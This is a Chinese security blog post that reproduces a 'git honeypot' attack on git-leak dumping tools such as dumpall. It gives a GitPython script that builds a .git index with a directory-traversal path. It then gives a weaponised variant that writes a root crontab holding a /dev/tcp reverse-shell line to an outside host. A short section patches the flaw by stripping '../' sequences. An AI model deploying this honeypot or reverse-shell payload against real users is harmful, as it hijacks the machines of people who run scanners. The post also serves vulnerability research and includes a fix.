好久不见,欠6章 ━━( ̄ー ̄*|||━━
0x01 git 蜜罐复现
具体原理请看 https://drivertom.blogspot.com/2021/08/git.html?m=1
import git
repo = git.Repo.init(path=".")
repo.index.add(items=['../../git_poc.txt'])
repo.index.commit('commit')
python3 -m pip install GitPython
python3 运行, 生成Poc
在当前目录的../../的目录下必须有git_poc.txt
比如当前脚本目录为 /Users/yhy/Desktop/gitpoc
,那么在/Users/yhy
要存在git_poc.txt
然后将 .git 文件夹整体拖入网站根目录下
效果:为防止干扰我直接在虚拟机中运行 dumpall 工具
没有在 dumpall/192.168.100.250_8080 目录下生成文件,而是进行了目录穿越, 在原计划(dumpall/192.168.100.250_8080)两层外的目录下生成了git_poc.txt 文件
1.1 计划任务反弹shell
先在/var/spool/cron/crontabs/ 下新建名为 root 的反弹shell代码文件。
* * * * * /bin/bash -i >& /dev/tcp/192.168.100.250/8888 0>&1
然后将repo.index.add(items=['../../git_poc.txt'])
中的../../git_poc.txt
替换, 使用多个**../**,确保返回到根目录
repo.index.add(items=['../../../../../../../../../../../../../../../../../../../../../../../../../../../var/spool/cron/crontabs/root'])
/var/spool/cron/root (centos系列主机)
/var/spool/cron/crontabs/root (debian系列主机)
0x02 修复
这就是个目录穿越漏洞,这里简单粗暴的将 ../ 全部删除,以dumpall为例,只要修复一处,即可确保Svn、DS_STORE同样修复
有更好的修复建议或者我修复的不完全,请后台留言,告诉我,谢谢
# dumpall/dumper.py
filename = str(filename).replace("../", "").replace("..\", "").replace("..;/", "").replace("..;\", "")
0x03 参考
https://drivertom.blogspot.com/2021/08/git.html?m=1
https://github.com/0xHJK/dumpall
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
来都来了,不关注一波?
本文始发于微信公众号(谁不想当剑仙):git 蜜罐复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论